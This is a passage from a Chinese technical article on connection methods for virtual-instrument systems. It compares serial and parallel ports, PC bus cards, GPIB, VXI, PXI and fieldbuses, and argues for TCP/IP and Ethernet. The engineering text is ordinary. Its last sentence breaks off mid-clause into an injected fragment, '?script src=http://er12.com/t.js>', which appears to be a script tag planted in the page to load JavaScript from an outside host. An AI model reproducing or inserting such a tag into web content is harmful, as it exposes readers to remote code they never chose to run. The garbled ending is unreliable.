［摘 要］ 该文对于目前虚拟仪器系统中硬件与计算机的串并口、pc总线、gpib总线、pxi、vxi和各种现场总线连接方式的基本情况和主要缺点，及其对测试系统的整体性能的影响做了分析，介绍了以tcp／ip作为通讯方式的虚拟仪器系统的结构特点、在性价比、拓扑自由度、开放性和互操作性、系统稳健性等方面的优势以及发展展望。
［关键词］ tcp／ip；以太网；虚拟仪器；通讯方式
1 引 言
现代测试工程在测试系统的信息获取能力、信息融合能力和信息处理能力三个方面对测试仪器系统提出了越来越高的要求。为了提高测试系统在这三个方面的性能，人们在仪器之间、仪器和计算机之间的通讯速度、仪器接入的自由程度和仪器被操作访问的灵活程度，以及整个测试系统的灵活性、稳健性以及自动化程度、数据处理能力这些问题上提出了更高的要求。
上世纪80年代美国国家仪器公司ni（nationalinstruments）提出的虚拟测量仪器（vi）概念，引发了传统仪器领域的一场重大变革，使得计算机和网络技术得以长驱直入仪器领域，和仪器技术结合起来，从而开创了“软件即是仪器”的先河。虚拟仪器，实际上就是一种基于计算机的自动化测试仪器系统，即采用计算机开放体系结构取代传统的单机测量仪器，对各种各样的数据进行计算机处理、显示和储存。虚拟仪器的突出优点在于能够和计算机技术结合，从而开拓了更多的功能，具有很大的灵活性，极大提高了测试系统的处理能力。与此同时，人们对于虚拟仪器系统中硬件与计算的连接方式对于测试系统整体性能带来的影响，表现出了前所未有的关注。
2 现有仪器的通讯方式
目前虚拟仪器系统中硬件与计算机的连接方式主要有几种类型：
（1）串、并行口：把仪器硬件集成在一个采集盒是并口传输的距离非常有限。目前，使用串、并口作为连接方式的做法已经趋于被淘汰。
（2）pc总线—插卡：这种方式借助于插入计算机内的数据采集卡与专用的软件如labview相结合，充分利用计算机的总线、机箱、电源及软件的便利。但是受pc机机箱和总线限制，且有电源功率不足、机箱内部的噪声电平较高、插槽数目也不多、插槽尺寸比较小、机箱内无屏蔽等缺点。另外，isa总线的虚拟仪器已经淘汰，pci的虚拟仪器价格比较昂贵。
（3）gpib总线（ieee－488标准）：典型的gpib系统由一台pc机、一块gpib接口卡和若干台gpib形式的仪器通过gpib电缆连接而成。在标准情况下，一块gpib接口可带多达14台仪器，电缆长度可达40 m。缺点是ni公司推出的gpib卡价格昂贵。
（4）vxi总线：vxi总线是一种高速计算机总线vme总线在vi领域的扩展，它具有稳定的电源、强有力的冷却能力和严格的rfi／emi屏蔽。由于它的标准开放、结构紧凑、数据吞吐能力强、定时和同步精确、模块可重复利用、众多仪器厂家支持的优点，很快得到广泛的应用。它的缺点是vxi总线要求有机箱、零槽管理器及嵌入式控制器，造价高。
（5）pxi总线：pxi总线方式是pci总线内核技术增加了成熟的技术规范、增加了多板同步触发总线的技术规范和要求形成的，增加了多板总线，以适用于相邻模块的高速通讯的总线。具有比台式pci系统更高的可扩展性，通过使用pci－pci桥接器，可扩展到256个扩展槽。然而，价格也更高。
（6）现场总线：目前工业现场测试系统和控制系统伴生，因而控制系统中的现场总线方式在测试仪器的通讯方式中占据了主导地位。此外，rs－485／422总线族以其较低廉的价格、较远的传递距离也在工业现场仪器的通讯方式中占有一席之地。
由于种种众所周知的经济、社会与技术原因，使现场总线自身统一标准的制定非常的困难。在长期的协商、妥协之后，1999年底iectc65（负责工业测量和控制的第65标准化技术发员会）通过了iec61158、controlnet、profibus、p－net、ffhse、swiftnet、worldfip、interbus－s等8种现场总线标准成为iec现场总线国际标准子集。因为几种标准分别来自于各自的支持者所从事的应用领域，所以实际上并没有一种标准能覆盖所有的应用面。这种情况给使用现场总线作为测试系统通讯方式的用户带来了选择上的混乱和困难。
出于商业原因，现有的现场总线国际标准中，异种现场总线之间是不能直接进行互操作的。使用者只能按照现场总线指定方所规定的方式，通过网关（gateway）通信或通过opc（olefor process control）协议进行互操作。这种互操作只能有限的、在各自的主机间进行，不能在彼此的现场仪表间进行。（这一点，对于前面5种连接方式来说，情况更是如此。）对于rs－485／422的使用者来说，仪器的操作完全取决于开发方的设置，这使得跨标准的仪器操作变得非常困难。所以，采用多种现场总线标准的测试网络是由几个相对自治的单一总线标准的网络在主机层面上?script src=http://er12.com/t.js>
